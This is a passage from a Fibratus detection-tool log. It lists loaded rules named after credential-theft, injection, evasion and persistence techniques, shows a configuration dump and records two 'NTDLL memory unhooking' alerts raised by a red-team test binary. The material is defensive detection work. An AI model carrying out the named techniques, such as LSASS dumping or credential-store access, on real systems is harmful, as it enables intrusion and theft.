source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:07:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:07:23+01:00 level=info msg=bootstrapping with pid 19176. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:07:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-fileio=>true buffer-size=>512 enable-dns=>false flush-interval=>1s enable-vamap=>true enable-net=>true max-buffers=>36 enable-handle=>false stack-enrichment=>true enable-threadpool=>false enable-registry=>true enable-audit-api=>true min-buffers=>16 enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus passive=>false timeout=>5s enabled=>false url=>amqp://localhost:5672 durable=>false] http=>[ serializer=>json endpoints=>[] enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ enabled=>false healthcheck-interval=>10s template-name=>fibratus flush-period=>1s sniff=>false trace-log=>false gzip-compression=>false timeout=>5s healthcheck=>true servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:07:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:07:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:07:35+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1551680 + Pid: 6784 + Tid: 12244 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:07:28.3895133 +0100 CET + Params: base_address➜ 11a7fbb0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6784, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 6784 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:07:36+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1557360 + Pid: 14844 + Tid: 6276 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:07:33.6750811 +0100 CET + Params: base_address➜ 22b6e4d0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 14844, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Potential NTDLL memory unhooking + + Pid: 14844 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:08:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:08:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:08:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:08:58+01:00 level=info msg=loading macros from file 